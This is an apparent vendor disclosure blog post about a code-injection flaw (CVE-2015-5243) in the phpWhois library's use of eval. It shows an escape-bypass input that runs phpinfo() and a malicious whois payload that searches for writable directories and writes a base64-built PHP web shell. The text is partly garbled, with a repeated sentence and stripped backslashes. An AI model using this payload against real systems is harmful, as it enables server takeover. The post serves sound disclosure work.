Malicious input can come from unexpected places.
On a recent web application test I found functionality which parsed user submitted data for URLs. In the background, the application performed a lookup of the “whois” data for the host portion of that URL using the “phpWhois” library.
As there is no standard format for whois data, one of the advantages of using a library such as phpWhois is that it parses all possible whois formats and outputs them in a uniform manner so that for example, if you specifically wanted to extract the technical contact email for a domain, this could be done easily by referring to a key called “technical_contact_email”.
phpWhois returns the detailed information contained within a whois record by constructing a relatively complex data structure consisting of a keyed multidimensional array of values. The below screenshot shows a section of returned data which shows contact information for the “tech” contact of a domain.
Unfortunately, in order to construct these complex data structures, phpWhois uses a very risky built-in PHP function called “eval”. This function will evaluate any execute any PHP code passed to it, but by allowing untrusted data to pass into this function, PHP developers often open themselves up to attackers being able to run any code they wish.
For phpWhois, the untrusted data being passed to the “eval” function is a line of a “whois” record. The library loops over each line, adding the record data into an evaluated statement as a string. In order to ensure that the record data is a string and that it can’t be prematurely terminated in order to achieve code execution, any double quotes are escaped using a backslash (‘’) character. This means that the “eval” function sees the double quote only as a string literal double quote and not the end of the string.
This is the only protection in place to ensure that untrusted data is not executed by PHP and unfortunately it can be bypassed simply by starting a whois line with a backslash, then a double quote (‘”’). This tricks PHP into assuming the backslash added by the library is a string literal backslash and that the quote is the real end of a string. Everything after that is parsed as executable code.
Input | Parsed as | Example | Output |
---|---|---|---|
“ | ” | eval(“$x=”””) | $x is ‘”’ |
” | \” | eval(“$x=”\””); | $x is ‘’ |
”;phpinfo();// | \”;phpinfo();// | eval(“$x=”\”;phpinfo();//”); | $x is ‘’ phpinfo() function is executed |
After testing this out, I identified that the execution path required to reach this section of code only applied to a small subset of top level domains, including “.info”. In order to execute valid PHP code, I needed to work around the constraints: 1. Each free-text field was a maximum of 60 chars 2. Angle brackets (<>) were stripped out by my hosting provider 3. Single and double quotes were escaped, so needed to be avoided I was then able to register a “.info” domain and propagate its whois record with malicious data by starting each free-text field with an escaped quote (”) and ending it with a PHP single-line comment (//): I was then able to register a “.info” domain and propagate its whois record with malicious data by starting each free-text field with an escaped quote (”) and ending it with a PHP single-line comment (//):
The malicious whois data does a number of things:
Command | Description |
---|---|
phpinfo(); | Output detailed PHP configuration information. This also acts to show if the script has successfully executed in the response of the application |
`find . –writable|tee –a /tmp/w`; | This finds all writable locations within the web root and writes the list to /tmp/w using “tee”. In PHP, any code between backticks (`) is executed as an operating system command. |
$f=chr(99)… etc | I build the name of a PHP file up using the chr() function as I can’t construct strings using single or double quotes. This is stored in the variable, $f |
`echo –n PD9waHANCg==|base64 –d|tee –a $f` Etc |
This starts to build up a PHP “web shell” backdoor and write it to the filename in $f. I’m using base64 code so that I’m not limited in the characters I can pass. This line writes “<?php” to the file. Subsequent lines create the rest of the web shell by writing: echo `$_GET[c][/c]`; ?> |
After phpWhois has parsed this record, it should have written a “web shell” into the application path. This can then be accessed by passing operating system commands to the URL parameter ‘c’.
Once the web shell was installed, I had unfettered access to the application source code and database, the underlying operating system and could use the web server as a pivot into the internal network.
This vulnerable code was found to be present in both the original phpWhois on Sourceforge and a newer fork of phpWhois on GitHub. Developers for both projects have been contacted. The Sourceforge project has a fix already in place.
Often when we think about malicious input to a web application, we consider only data that is being sent with the request itself, however as this attack shows, any external input consumed by an application could be used to attack it.
Vulnerability Timeline
- 2015-08-25 Vulnerability Identified in phpWhois
- 2015-08-28 CVE number applied for and author of GitHub fork of project notified
- 2015-08-29 CVE-2015-5243 assigned
- 2015-09-02 Github project owner notified a second time
- 2015-09-03 Authors of Sourceforge project notified
- 2015-09-09 Sourceforce project code repository updated with a fix
- 2015-09-30 Github project owner notified a third time
- 2015-12-02 Public disclosure by Nettitude
To contact Nettitude’s editor, please email media@nettitude.com